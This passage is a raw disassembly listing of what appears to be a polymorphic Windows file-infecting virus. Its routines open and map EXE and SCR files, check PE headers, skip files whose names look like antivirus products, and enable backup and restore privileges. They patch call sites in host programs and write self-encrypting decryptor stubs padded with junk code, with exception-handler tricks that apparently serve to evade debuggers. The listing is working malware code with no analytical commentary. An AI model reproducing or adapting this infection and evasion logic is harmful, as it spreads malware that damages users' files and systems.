eax, ecx mov [ecx-4], eax call sub_315147DF call sub_3151476D mov al, 0C3h stosb call sub_3151476D loc_31514DED: ; CODE XREF: UPX2:31514DCCj mov eax, edi mov ecx, [ebp+1042C4h] sub eax, ecx mov [ecx-4], eax mov al, 58h or al, [ebp+1039B8h] stosb call sub_3151476D test dword ptr [ebp+1039C0h], 800000h jz short loc_31514E20 mov ax, 0C350h or al, [ebp+1039B8h] jmp short loc_31514E2A ; --------------------------------------------------------------------------- loc_31514E20: ; CODE XREF: UPX2:31514E12j mov ax, 0E0FFh or ah, [ebp+1039B8h] loc_31514E2A: ; CODE XREF: UPX2:31514E1Ej stosw call sub_3151476D loc_31514E31: ; CODE XREF: UPX2:31514DC0j test dword ptr [ebp+1039C0h], 2000003h jz short loc_31514E9C mov ecx, edi mov eax, [ebp+1042DCh] sub ecx, eax mov [eax-4], ecx xor ecx, ecx test dword ptr [ebp+1039C0h], 1000000h jnz short loc_31514E66 lea eax, [ebp+1039B8h] loc_31514E5E: ; CODE XREF: UPX2:31514E64j mov cl, [eax] inc eax cmp cl, 3 jnb short loc_31514E5E loc_31514E66: ; CODE XREF: UPX2:31514E56j lea eax, ds:102444h[ecx*8] shl eax, 8 mov al, 8Bh stosd jecxz short loc_31514E7B mov ax, 0C031h stosw loc_31514E7B: ; CODE XREF: UPX2:31514E73j mov ax, 808Fh push 0B8h add ah, cl stosw pop eax stosd test ecx, ecx jnz short loc_31514E94 mov ax, 0C031h stosw loc_31514E94: ; CODE XREF: UPX2:31514E8Cj mov al, 0C3h stosb call sub_3151476D loc_31514E9C: ; CODE XREF: UPX2:31514E3Bj lea eax, [ebp+1039CCh] test dword ptr [ebp+1039C0h], 20000000h jnz short loc_31514EB4 push edi sub edi, eax pop eax jmp short loc_31514ECD ; --------------------------------------------------------------------------- loc_31514EB4: ; CODE XREF: UPX2:31514EACj mov edx, [ebx+28h] sub edi, eax sub edx, eax mov ecx, [ebp+1042E4h] add [ebp+1042C4h], edx add [ecx], edi mov eax, [esp+4] loc_31514ECD: ; CODE XREF: UPX2:31514EB2j mov [ebp+101069h], edi mov edi, [ebp+1042C8h] sub eax, [ebp+1042C4h] test dword ptr [ebp+1039C0h], 40h jz short loc_31514EED neg eax loc_31514EED: ; CODE XREF: UPX2:31514EE9j stosd retn 4 ; =============== S U B R O U T I N E ======================================= sub_31514EF1 proc near ; CODE XREF: sub_3151545B+336p push esi push edi cmp dword ptr [ebp+104300h], 0 jz loc_315150D9 call near ptr loc_31514F11+1 dec ebx inc ebp push edx dec esi inc ebp dec esp xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_31514F11: ; CODE XREF: sub_31514EF1+Fp add bh, bh sub_31514EF1 endp ; sp-analysis failed xchg eax, ebp scasb db 3Eh adc [eax], al mov [ebp+104314h], eax push ebx mov ebx, [eax+3Ch] add ebx, eax push dword ptr [ebx+28h] mov eax, [ebx+34h] call near ptr dword_31514410+4 mov edx, [ebp+1042F4h] pop ebx add eax, [edx+0Ch] mov [ebp+104318h], eax add eax, [edx+8] mov [ebp+10431Ch], eax mov esi, [ebx+28h] push dword ptr [ebx+80h] call near ptr dword_31514410+4 mov edi, [ebp+1042F4h] push esi call near ptr dword_31514410+4 mov edx, [ebp+1042F4h] mov ecx, [edx+8] add ecx, [edx+0Ch] sub ecx, esi sub ecx, 5 js loc_315150D9 jz loc_315150D9 add esi, [ebp+1042F8h] add esi, [ebp+1042B4h] ; START OF FUNCTION CHUNK FOR sub_315150AA loc_31514F8B: ; CODE XREF: sub_315150AA+29j lodsb cmp al, 0E8h jnz loc_31515036 lea eax, [esi+4] sub eax, [ebp+1042B4h] add eax, [esi] push eax call near ptr dword_31514410+4 cmp dword ptr [ebp+1042F4h], 0 jnz short loc_31514FB9 cmp eax, [edi+0Ch] jnb loc_315150D2 jmp short loc_31514FC5 ; --------------------------------------------------------------------------- loc_31514FB9: ; CODE XREF: sub_315150AA-FEj cmp [ebp+1042F4h], edx jnz loc_315150D2 loc_31514FC5: ; CODE XREF: sub_315150AA-F3j add eax, [ebp+1042B4h] cmp word ptr [eax], 25FFh jnz loc_315150D2 mov eax, [eax+2] sub eax, [ebx+34h] push eax call near ptr dword_31514410+4 cmp [ebp+1042F4h], edi jnz loc_315150D2 add eax, [ebp+1042F8h] add eax, [ebp+1042B4h] mov eax, [eax] sub eax, [edi+0Ch] jb loc_315150D2 cmp eax, [edi+8] jnb loc_315150D2 loc_3151500E: ; CODE XREF: sub_315150AA+22j add eax, 2 add eax, [edi+14h] add eax, [ebp+1042B4h] push edx push eax push dword ptr [ebp+104314h] call dword ptr [ebp+103E6Eh] pop edx test eax, eax jnz loc_315150E8 jmp loc_315150D2 ; --------------------------------------------------------------------------- loc_31515036: ; CODE XREF: sub_315150AA-11Cj cmp al, 0FFh jnz loc_315150D2 cmp byte ptr [esi], 15h jnz loc_315150D2 mov eax, [esi+1] sub eax, [ebx+34h] push eax call near ptr dword_31514410+4 cmp [ebp+1042F4h], edi jnz short loc_315150D2 add eax, [ebp+1042F8h] add eax, [ebp+1042B4h] mov [ebp+104320h], eax mov eax, [eax] cmp eax, [ebp+104318h] jb short loc_3151507F cmp eax, [ebp+10431Ch] jb short loc_315150E8 loc_3151507F: ; CODE XREF: sub_315150AA-35j cmp eax, 70000000h jb short loc_315150BD call sub_315150AA lea ecx, [esi-4] mov eax, ecx sub eax, [edx] add eax, [edx+10h] cmp eax, [ebp+104320h] jnz short locret_315150A9 add esp, 10h push dword ptr [ecx] pop [esp-8+arg_20] popa jmp short loc_315150C4 ; --------------------------------------------------------------------------- locret_315150A9: ; CODE XREF: sub_315150AA-Fj retn ; END OF FUNCTION CHUNK FOR sub_315150AA ; =============== S U B R O U T I N E ======================================= sub_315150AA proc near ; CODE XREF: sub_315150AA-24p var_10 = dword ptr -10h arg_20 = dword ptr 24h ; FUNCTION CHUNK AT 31514F8B SIZE 0000011F BYTES pop dword ptr [ebp+1042D4h] pusha mov esi, [ebp+1042B4h] call near ptr dword_31514410+10Bh popa loc_315150BD: ; CODE XREF: sub_315150AA-26j test eax, 80000000h jnz short loc_315150D2 loc_315150C4: ; CODE XREF: sub_315150AA-3j sub eax, [edi+0Ch] jb short loc_315150D2 cmp eax, [edi+8] jb loc_3151500E loc_315150D2: ; CODE XREF: sub_315150AA-F9j ; sub_315150AA-EBj ... dec ecx jnz loc_31514F8B loc_315150D9: ; CODE XREF: sub_31514EF1+9j ; UPX2:31514F73j ... mov edi, [esp+0] and dword ptr [edi+29C0h], 0FFBFFFFFh jmp short loc_3151512A ; --------------------------------------------------------------------------- loc_315150E8: ; CODE XREF: sub_315150AA-7Fj ; sub_315150AA-2Dj or dword ptr [edx+24h], 0E0000060h dec esi xor eax, eax mov ecx, [esp+10h+var_10] xchg eax, [ebp+104300h] mov [ebp+1042FCh], eax lea edi, [ecx+29C4h] add eax, [ebp+1042B4h] movsw movsd dec esi sub eax, esi add eax, [edx+14h] sub eax, [edx+0Ch] mov byte ptr [esi-5], 0E8h mov dword ptr [ecx+54h], 5 mov [esi-4], eax loc_3151512A: ; CODE XREF: sub_315150AA+3Cj pop edi pop esi retn sub_315150AA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3151512D proc near ; CODE XREF: UPX2:3151542Ep ; FUNCTION CHUNK AT 31515257 SIZE 00000002 BYTES push edi call dword ptr [ebp+103EBAh] shr eax, 1Fh jnz loc_31515257 push eax push esp push 28h push 0FFFFFFFFh call dword ptr [ebp+103F1Ah] test eax, eax pop edi js loc_31515257 call sub_315135AF call near ptr loc_31515168+5 push ebx db 65h jz short near ptr unk_315151A6 imul ebp, [ebp+53h], 72756365h loc_31515168: ; CODE XREF: sub_3151512D+2Ap imul esi, [ecx+edi*2+41h], 88B5FF00h sub_3151512D endp ; sp-analysis failed inc edx adc [eax], al call dword ptr [ebp+103E6Eh] mov [ebp+104290h], eax call near ptr loc_3151519C+1 push ebx db 65h push esp popa imul esp, [ebp+4Fh], 77h outsb db 65h jb short loc_31515203 push 72507069h imul esi, [esi+69h], 6567656Ch loc_3151519C: ; CODE XREF: UPX2:3151517Fp add [edi-18h], dl sub eax, ebp ; --------------------------------------------------------------------------- db 0FFh db 0FFh db 0E8h ; db 13h db 0 unk_315151A6 db 0 ; CODE XREF: sub_3151512D+30j db 0 db 53h ; S db 65h ; e db 52h ; R db 65h ; e db 73h ; s db 74h ; t db 6Fh ; o db 72h ; r db 65h ; e db 50h ; P db 72h ; r db 69h ; i db 76h ; v db 69h ; i db 6Ch ; l db 65h ; e db 67h ; g db 65h ; e db 0 db 57h ; W db 0E8h ; db 0Bh db 0E8h ; db 0FFh db 0FFh db 0E8h ; db 12h db 0 db 0 db 0 db 53h ; S db 65h ; e db 42h ; B db 61h ; a db 63h ; c db 6Bh ; k db 75h ; u db 70h ; p db 50h ; P db 72h ; r db 69h ; i db 76h ; v db 69h ; i db 6Ch ; l db 65h ; e db 67h ; g db 65h ; e db 0 db 57h ; W db 0E8h ; db 0EEh ; db 0E7h ; db 0FFh db 0FFh db 0E8h ; db 18h db 0 db 0 db 0 db 53h ; S db 65h ; e db 43h ; C db 68h ; h db 61h ; a db 6Eh ; n db 67h ; g db 65h ; e db 4Eh ; N db 6Fh ; o db 74h ; t db 69h ; i db 66h ; f db 79h ; y db 50h ; P db 72h ; r db 69h ; i db 76h ; v db 69h ; i db 6Ch ; l db 65h ; e db 67h ; g db 65h ; e db 0 db 57h ; W db 0E8h ; db 0CBh ; db 0E7h ; db 0FFh db 0FFh db 50h ; P db 54h ; T ; --------------------------------------------------------------------------- loc_31515203: ; CODE XREF: UPX2:3151518Dj lea eax, [ebp+103DCCh] push 64h push eax push 1 push edi call dword ptr [ebp+103F26h] mov [esp], edi call dword ptr [ebp+103E62h] sub al, al lea edi, [ebp+104184h] push eax push eax push eax push dword ptr [ebp+103DCCh] push 40001h push esp push 1 push edi call dword ptr [ebp+104290h] push esp push 4 push edi call dword ptr [ebp+104290h] add esp, 14h push dword ptr [ebp+104288h] call dword ptr [ebp+103E9Eh] ; START OF FUNCTION CHUNK FOR sub_3151512D loc_31515257: ; CODE XREF: sub_3151512D+Aj ; sub_3151512D+1Fj pop edi retn ; END OF FUNCTION CHUNK FOR sub_3151512D ; =============== S U B R O U T I N E ======================================= sub_31515259 proc near ; CODE XREF: UPX2:31515427p ; UPX2:31515433p ... lea esi, [ebp+104184h] push esi call dword ptr [ebp+103EA2h] cmp eax, 0FFFFFFFFh jz locret_3151532A mov [ebp+104294h], eax push 0 push esi call dword ptr [ebp+103EDEh] test eax, eax jz locret_3151532A sub eax, eax push eax push eax push 3 push eax push 1 push 0C0000000h push esi call dword ptr [ebp+103E7Eh] cmp eax, 0FFFFFFFFh jz loc_315158AB mov [ebp+104298h], eax lea ecx, [ebp+10429Ch] lea edx, [ebp+1042A4h] push ecx push edx push 0 push eax call dword ptr [ebp+103EAAh] cmp eax, 0FFFFFFFFh jz loc_3151589F push 0 push dword ptr [ebp+104298h] call dword ptr [ebp+103EA6h] cmp eax, 0FFFFFFFFh jz loc_3151589F mov [ebp+1042ACh], eax xor ecx, ecx add eax, ebx push ecx push eax push ecx push 4 push ecx push dword ptr [ebp+104298h] call dword ptr [ebp+103E82h] test eax, eax jz loc_3151589F xor ecx, ecx mov [ebp+1042B0h], eax push ecx push ecx push ecx push 0F001Fh push eax call dword ptr [ebp+103ECAh] test eax, eax jz loc_31515877 mov [ebp+1042B4h], eax locret_3151532A: ; CODE XREF: sub_31515259+10j ; sub_31515259+27j ... retn sub_31515259 endp ; --------------------------------------------------------------------------- loc_3151532B: ; CODE XREF: sub_3151545B+188p ; sub_3151545B+2A0p mov eax, 7327h mov ecx, [ebx+38h] ; --------------------------------------------------------------------------- db 0F7h ; db 85h ; db 0C0h ; db 39h ; 9 db 10h db 0 db 0 db 0 db 0 ; --------------------------------------------------------------------------- and [ebp+6], dh add eax, [ebp+101069h] xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+1042C0h], eax mov eax, 29CBh mov ecx, [ebx+3Ch] add eax, [ebp+101069h] xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+1042B8h], eax retn ; =============== S U B R O U T I N E ======================================= sub_31515370 proc near ; CODE XREF: sub_3151545B:loc_315154D0p ; sub_3151545B+1B4p movzx ecx, word ptr [ebx+6] stc loc_31515375: ; CODE XREF: sub_31515370+23j jecxz short locret_315153AC lea edx, [ebx+18h] movzx eax, word ptr [ebx+14h] add edx, eax dec ecx imul eax, ecx, 28h add edx, eax cmp dword ptr [edx], 6E69775Fh stc jz short locret_315153AC cmp dword ptr [edx+0Ch], 1 jb short loc_31515375 mov ecx, [ebx+3Ch] mov eax, [edx+14h] add eax, [edx+10h] lea eax, [eax+ecx*2-1] neg ecx and eax, ecx cmp eax, [ebp+1042ACh] locret_315153AC: ; CODE XREF: sub_31515370:loc_31515375j ; sub_31515370+1Dj ... retn sub_31515370 endp ; =============== S U B R O U T I N E ======================================= sub_315153AD proc near ; CODE XREF: UPX2:31515445p arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_315153AD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_315153BA: ; CODE XREF: UPX2:315153DBj mov ecx, edi jmp short loc_315153C9 ; --------------------------------------------------------------------------- lea edi, [ebp+104184h] cld loc_315153C5: ; CODE XREF: UPX2:315153D7j mov ebx, edi xor ecx, ecx loc_315153C9: ; CODE XREF: UPX2:315153BCj ; UPX2:315153DFj lodsb cmp al, 61h jb short loc_315153D4 cmp al, 7Ah ja short loc_315153D4 sub al, 20h loc_315153D4: ; CODE XREF: UPX2:315153CCj ; UPX2:315153D0j stosb cmp al, 5Ch jz short loc_315153C5 cmp al, 2Eh jz short loc_315153BA cmp al, 0 jnz short loc_315153C9 jecxz short locret_315153AC mov eax, [ecx] cmp eax, 455845h jz short loc_315153F7 cmp eax, 524353h jnz locret_3151532A loc_315153F7: ; CODE XREF: UPX2:315153EAj mov eax, [ebx] cmp eax, 434E4957h jz locret_3151532A cmp eax, 4E554357h jz locret_3151532A cmp eax, 32334357h jz locret_3151532A cmp eax, 4F545350h jz locret_3151532A xor ebx, ebx call sub_31515259 jnz short loc_3151543E call sub_3151512D call sub_31515259 jz locret_3151532A loc_3151543E: ; CODE XREF: UPX2:3151542Cj xor edx, edx call sub_3151545B call sub_315153AD call $+5 pop ebp sub ebp, 10344Fh jmp loc_31515855 ; =============== S U B R O U T I N E ======================================= sub_3151545B proc near ; CODE XREF: UPX2:31515440p var_1C = dword ptr -1Ch push dword ptr fs:[edx] mov esi, [ebp+1042B4h] mov fs:[edx], esp cmp word ptr [esi], 5A4Dh jnz loc_31515855 mov ebx, [esi+3Ch] add ebx, esi cmp word ptr [ebx], 4550h jnz loc_31515855 test dword ptr [ebx+16h], 2000h jnz loc_31515855 test byte ptr [ebx+5Ch], 2 jz loc_31515855 mov eax, [ebx+8] cmp eax, 0A0A0A0A0h jz loc_31515855 cmp eax, 20202020h jz loc_31515855 mov ecx, [ebx+0C8h] jecxz short loc_315154D0 push ecx call near ptr dword_31514410+4 add ecx, [ebp+1042F8h] add ecx, esi and dword ptr [ecx+40h], 0 and dword ptr [ecx+44h], 0 loc_315154D0: ; CODE XREF: sub_3151545B+5Dj call sub_31515370 jb loc_31515855 and dword ptr [ebp+1042FCh], 0 mov eax, [edx+8] mov ecx, [edx+10h] sub eax, ecx jnb short loc_315154F0 xor eax, eax jmp short loc_315154F5 ; --------------------------------------------------------------------------- loc_315154F0: ; CODE XREF: sub_3151545B+8Fj add ecx, eax mov [edx+10h], ecx loc_315154F5: ; CODE XREF: sub_3151545B+93j mov [ebp+1042BCh], eax add ecx, [edx+0Ch] mov eax, 10000h push ecx call near ptr dword_31513B50+43h xor [ebp+1039BEh], dl mov cl, 20h xor [ebp+1039BFh], dh loc_31515517: ; CODE XREF: sub_3151545B+D5j push 20h dec cl pop eax js short loc_31515532 call near ptr dword_31513B50+43h test edx, edx setz dl shl edx, cl xor [ebp+1039C0h], edx jmp short loc_31515517 ; --------------------------------------------------------------------------- loc_31515532: ; CODE XREF: sub_3151545B+C1j test dword ptr [ebp+1039C0h], 2000000h jz short loc_31515560 test dword ptr [ebp+1039C0h], 3 jnz short loc_31515556 and dword ptr [ebp+1039C0h], 0F7FFFFFFh jmp short loc_31515560 ; --------------------------------------------------------------------------- loc_31515556: ; CODE XREF: sub_3151545B+EDj or dword ptr [ebp+1039C0h], 10000000h loc_31515560: ; CODE XREF: sub_3151545B+E1j ; sub_3151545B+F9j ... push 6 pop ecx loc_31515566: ; CODE XREF: sub_3151545B+129j push 6 pop eax call near ptr dword_31513B50+43h mov al, [ebp+1039B8h] xchg al, [edx+ebp+1039B8h] mov [ebp+1039B8h], al loop loc_31515566 test dword ptr [ebp+1039C0h], 8 jnz short loc_3151559B cmp byte ptr [ebp+1039BAh], 1 jz short loc_31515560 loc_3151559B: ; CODE XREF: sub_3151545B+135j test dword ptr [ebp+1039C0h], 10000000h jz short loc_315155C2 cmp byte ptr [ebp+1039B8h], 5 jz short loc_31515560 cmp byte ptr [ebp+1039B9h], 5 jz short loc_31515560 cmp byte ptr [ebp+1039BAh], 5 jz short loc_31515560 loc_315155C2: ; CODE XREF: sub_3151545B+14Aj test dword ptr [ebp+1039C0h], 400000h jz short loc_315155D7 cmp byte ptr [ebp+1039B8h], 2 ja short loc_31515560 loc_315155D7: ; CODE XREF: sub_3151545B+171j and dword ptr [ebp+104300h], 0 call loc_31514855 call loc_3151532B call sub_3151585E mov ebx, [ebp+1042B8h] add ebx, [ebp+1042BCh] call sub_31515259 jz loc_31515855 mov esi, [ebp+1042B4h] mov ebx, [esi+3Ch] add ebx, esi call sub_31515370 jb loc_31515855 or dword ptr [edx+24h], 0E0000060h mov edi, esi push edx push esi add edi, [edx+14h] add edi, [edx+10h] test dword ptr [ebp+1039C0h], 20000000h jnz short loc_3151564B mov [ebp+104304h], edi lea esi, [ebp+1039CCh] mov ecx, [ebp+101069h] rep movsb loc_3151564B: ; CODE XREF: sub_3151545B+1DAj push edi mov ecx, 0A73h lea esi, [ebp+101000h] rep movsd mov cl, 0 jecxz short loc_3151565F rep movsb loc_3151565F: ; CODE XREF: sub_3151545B+200j test dword ptr [ebp+1039C0h], 20000000h jz loc_3151571D push dword ptr [ebx+28h] call near ptr dword_31514410+4 mov edx, [ebp+1042F4h] test edx, edx jz loc_3151571D mov esi, [ebp+1042B4h] mov ecx, [edx+10h] or dword ptr [edx+24h], 0E0000060h sub ecx, [edx+8] jnb short loc_3151569C xor ecx, ecx loc_3151569C: ; CODE XREF: sub_3151545B+23Dj add esi, [edx+14h] cmp ecx, [ebp+101069h] mov ecx, [ebp+101069h] jb short loc_31515703 mov edi, [esp+1Ch+var_1C] and dword ptr [ebp+101069h], 0 and dword ptr [edi+69h], 0 mov edi, [edx+8] add [edx+8], ecx add esi, edi xchg esi, edi mov eax, [ebp+1042C8h] test dword ptr [ebp+1039C0h], 40h jz short loc_315156DC neg dword ptr [eax] loc_315156DC: ; CODE XREF: sub_3151545B+27Dj add esi, [edx+0Ch] sub [eax], esi mov [ebp+104300h], esi mov esi, [ebx+28h] add [eax], esi test dword ptr [ebp+1039C0h], 40h jz short loc_315156FA neg dword ptr [eax] loc_315156FA: ; CODE XREF: sub_3151545B+29Bj push ecx call loc_3151532B pop ecx jmp short loc_3151570F ; --------------------------------------------------------------------------- loc_31515703: ; CODE XREF: sub_3151545B+250j add esi, [ebx+28h] sub esi, [edx+0Ch] push ecx push esi rep movsb pop edi pop ecx loc_3151570F: ; CODE XREF: sub_3151545B+2A6j lea esi, [ebp+1039CCh] mov [ebp+104304h], edi rep movsb loc_3151571D: ; CODE XREF: sub_3151545B+20Ej ; sub_3151545B+224j pop edi pop esi rdtsc xchg eax, edx lea eax, [edi+137h] cmp dl, [ebp+1039BEh] jnz short loc_31515736 imul edx, 12345678h loc_31515736: ; CODE XREF: sub_3151545B+2D3j mov [eax-19h], dx call sub_31513120 pop edx mov ecx, [edx+0Ch] add ecx, [edx+10h] test dword ptr [ebp+1039C0h], 20000000h lea eax, [ecx+5] jnz short loc_31515768 mov [ebp+104300h], ecx add eax, [ebp+101069h] and dword ptr [edi+69h], 0 loc_31515768: ; CODE XREF: sub_3151545B+2F8j sub eax, [ebx+28h] mov [edi+54h], eax test dword ptr [ebp+103F7Ch], 1 jz short loc_31515784 mov dword ptr [ebx+8], 0A0A0A0A0h loc_31515784: ; CODE XREF: sub_3151545B+320j test dword ptr [ebp+1039C0h], 400000h jz short loc_31515797 push edx call sub_31514EF1 pop edx loc_31515797: ; CODE XREF: sub_3151545B+333j mov ecx, [ebp+104300h] jecxz short loc_315157A4 mov [ebx+28h], ecx jmp short loc_315157B1 ; --------------------------------------------------------------------------- loc_315157A4: ; CODE XREF: sub_3151545B+342j mov ecx, [ebp+1042FCh] jecxz short loc_315157AE jmp short loc_315157B1 ; --------------------------------------------------------------------------- loc_315157AE: ; CODE XREF: sub_3151545B+34Fj mov ecx, [ebx+28h] loc_315157B1: ; CODE XREF: sub_3151545B+347j ; sub_3151545B+351j test dword ptr [ebp+1039C0h], 3 jz short loc_315157D1 mov eax, [ebp+104304h] add ecx, [ebp+1042ECh] add eax, [ebp+1042E8h] add [eax], ecx loc_315157D1: ; CODE XREF: sub_3151545B+360j mov ecx, [edx+10h] mov eax, [ebp+1042B8h] cmp [edx+8], ecx jnb short loc_315157E2 mov [edx+8], ecx loc_315157E2: ; CODE XREF: sub_3151545B+382j add [edx+10h], eax and dword ptr [ebx+58h], 0 mov eax, [ebp+1042C0h] push 29CCh add [edx+8], eax pop ecx add [ebx+50h], eax mov dl, [ebp+1039BEh] test dword ptr [ebp+1039C0h], 20000000h jz short loc_31515813 add ecx, [ebp+101069h] loc_31515813: ; CODE XREF: sub_3151545B+3B0j mov dh, 0 test dword ptr [ebp+1039C0h], 20000h jnz short loc_31515835 inc dh test dword ptr [ebp+1039C0h], 40000h jnz short loc_31515835 mov dh, [ebp+1039BFh] loc_31515835: ; CODE XREF: sub_3151545B+3C4j ; sub_3151545B+3D2j test dword ptr [ebp+1039C0h], 4000h jnz short loc_3151584C loc_31515841: ; CODE XREF: sub_3151545B+3EDj mov al, [edi] add al, dl stosb add dl, dh loop loc_31515841 jmp short loc_31515855 ; --------------------------------------------------------------------------- loc_3151584C: ; CODE XREF: sub_3151545B+3E4j ; sub_3151545B+3F8j mov al, [edi] xor al, dl stosb add dl, dh loop loc_3151584C loc_31515855: ; CODE XREF: UPX2:31515456j ; sub_3151545B+11j ... xor edx, edx mov esp, fs:[edx] pop dword ptr fs:[edx] pop eax sub_3151545B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3151585E proc near ; CODE XREF: sub_3151545B+18Dp cmp dword ptr [ebp+104298h], 0 jz locret_3151532A push dword ptr [ebp+1042B4h] call dword ptr [ebp+103EEEh] loc_31515877: ; CODE XREF: sub_31515259+C5j push dword ptr [ebp+1042B0h] call dword ptr [ebp+103E62h] lea ecx, [ebp+10429Ch] lea edx, [ebp+1042A4h] push ecx push edx push 0 push dword ptr [ebp+104298h] call dword ptr [ebp+103EE2h] loc_3151589F: ; CODE XREF: sub_31515259+6Bj ; sub_31515259+82j ... push dword ptr [ebp+104298h] call dword ptr [ebp+103E62h] loc_315158AB: ; CODE XREF: sub_31515259+45j lea esi, [ebp+104184h] push dword ptr [ebp+104294h] push esi call dword ptr [ebp+103EDEh] and dword ptr [ebp+104298h], 0 retn sub_3151585E endp ; --------------------------------------------------------------------------- dw 0E8h dd 5D000000h, 0ED81016Ah, 1038CBh, 0C10FF058h, 10158885h dd 0C3C08500h, 0F0FFC883h, 8885C10Fh, 0C3001015h, 2A00103Dh dd 661C7500h, 0C247C81h, 1375716Ch, 0FFC4E860h, 575FFFFh dd 0FFFAB5E8h, 0FFD2E8FFh, 2E61FFFFh, 56782DFFh, 25B81234h dd 60000000h, 0FFFFA5E8h, 8B3975FFh, 8D302444h, 104184B5h dd 8508B00h, 63A8166h, 56257302h, 0FF000068h, 6AC48B00h dd 0FF505200h, 103F2E95h, 8C48300h, 3F5C3E81h, 3755C3Fh dd 0E804C683h, 0FFFFFA62h, 0FFFF7FE8h, 0B8C361FFh, 74h dd 2FB8B1EBh, 0E8000000h, 1Dh, 0B80020C2h, 30h, 10E8h dd 24C200h, 185B8h, 3E800h, 2CC20000h, 24548D00h, 832ECD0Ch dd 197C00F8h, 0E860h, 548B0000h, 8B5D3024h, 0A2ED811Ah dd 0E8001039h, 0FFFFE0B3h, 4C261h, 2070306h, 7AAA0105h dd 0FF286EE3h, 119415FFh, 0FF8B0100h db 90h ; --------------------------------------------------------------------------- push ebp mov ebp, esp call sub_315159F2 mov ebx, ebx clc cmc call sub_31515AB5 jmp short $+2 xchg ebx, ebx stc mov ebp, 0F8F880B1h stc clc mov ebx, ebx cld jmp loc_31515A48 ; =============== S U B R O U T I N E ======================================= sub_315159F2 proc near ; CODE XREF: UPX2:315159D0p push dword ptr fs:0 mov ds:dword_31509218, ebp mov ecx, ecx nop mov fs:0, esp xor ecx, ecx push 80000000h push ecx push 20h push 1 push ecx push 40h push ecx push ecx push ecx push ecx push ecx push ecx call ds:dword_31509090 ; GetProcAddress xor ebx, ebx push 1 push ebx push ebx push ebx push ebx push 80h push ebx push ebx push 4000h call ds:dword_31509090 ; GetProcAddress loc_31515A48: ; CODE XREF: UPX2:315159EDj xchg ebx, ebx mov edx, [ebp-8] mov fs:0, edx clc sub edx, edx sub ecx, ecx cld cld stc cmc mov cl, 0AEh xchg ebx, ebx clc cld loc_31515A62: ; CODE XREF: sub_315159F2+77j lea edx, [edx+1] jmp short $+2 xchg ebx, ebx loop loc_31515A62 cld cld call sub_31515AAE jmp short $+2 clc sub edi, 0FFFFE2A6h xor esi, esi xor esi, 2AC5h cmc xchg ebx, ebx push edi mov eax, eax cmc loc_31515A8A: ; CODE XREF: sub_315159F2+A7j call sub_31515AA1 nop nop inc edi dec esi cmc mov edx, edx cmp esi, 0 jnz short loc_31515A8A pop edi stc leave jmp edi sub_315159F2 endp ; --------------------------------------------------------------------------- stc ; =============== S U B R O U T I N E ======================================= sub_31515AA1 proc near ; CODE XREF: sub_315159F2:loc_31515A8Ap xchg al, [edi] cld xor ax, dx stc xchg al, [edi] xchg ebx, ebx retn sub_31515AA1 endp ; --------------------------------------------------------------------------- cmc ; =============== S U B R O U T I N E ======================================= sub_31515AAE proc near ; CODE XREF: sub_315159F2+7Bp pop edi jmp edi sub_31515AAE endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 jmp short $+2 nop ; =============== S U B R O U T I N E ======================================= sub_31515AB5 proc near ; CODE XREF: UPX2:315159D9p arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax retn sub_31515AB5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0EBF9h dd 0E7h dup(0) dd 9B470000h, 8AD7C80h, 3317C83h, 7C91h, 1464h dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near cld push ebp mov ebp, esp call sub_3151B020 stc cld call sub_3151B0F4 clc jmp short $+2 mov ebp, 12FFC0h ; DATA XREF: sub_3151B020+Cw cmc clc nop jmp loc_3151B07B start endp ; =============== S U B R O U T I N E ======================================= sub_3151B020 proc near ; CODE XREF: start+4p push dword ptr fs:0 mov fs:0, esp mov dword ptr ds:loc_3151B013+1, ebp nop xor ebx, ebx push ebx push ebx push 80000000h push 8000h push 80000000h push 800h push ebx push ebx push ebx push 80000000h push 80000000h call ds:dword_31509090 ; GetProcAddress xor ecx, ecx push ecx push 1 push ecx push ecx push ecx push 100h push 40h push ecx push ecx call ds:dword_31509090 ; GetProcAddress loc_3151B07B: ; CODE XREF: start+1Bj stc stc mov esi, [ebp-8] mov fs:0, esi jmp short $+2 cmc jmp short $+2 jmp short $+2 xchg ebx, ebx sub esi, esi sub ecx, ecx stc cmc mov cl, 16h loc_3151B097: ; CODE XREF: sub_3151B020+7Fj lea esi, [esi+1] xchg ebx, ebx clc clc stc loop loc_3151B097 cmc call sub_3151B0ED clc sub ebx, 0FFFFFFA3h xor ecx, ecx xor ecx, 29CCh nop push ebx jmp short $+2 jmp short $+2 loc_3151B0BC: ; CODE XREF: sub_3151B020+AAj call sub_3151B0D8 xchg ebx, ebx jmp short $+2 inc ebx dec ecx cmp ecx, 0 jnz short loc_3151B0BC pop ebx stc nop leave mov eax, eax nop mov ebx, ebx jmp ebx sub_3151B020 endp ; --------------------------------------------------------------------------- cmc ; =============== S U B R O U T I N E ======================================= sub_3151B0D8 proc near ; CODE XREF: sub_3151B020:loc_3151B0BCp mov al, [ebx] xchg ebx, ebx stc cld xor ax, si cmc xchg al, [ebx] clc mov edx, edx clc jmp short $+2 retn sub_3151B0D8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) ; =============== S U B R O U T I N E ======================================= sub_3151B0ED proc near ; CODE XREF: sub_3151B020+82p pop ebx jmp short $+2 mov eax, eax jmp ebx sub_3151B0ED endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3151B0F4 proc near ; CODE XREF: start+Bp arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax retn sub_3151B0F4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_3151B104 proc near ; DATA XREF: UPX2:3151E40Co var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 3151B23B SIZE 00000047 BYTES call $+5 cld mov eax, [esp+4+var_4] mov ecx, [eax+29BBh] mov [eax+3303h], ebx and ecx, 400000h mov ebx, 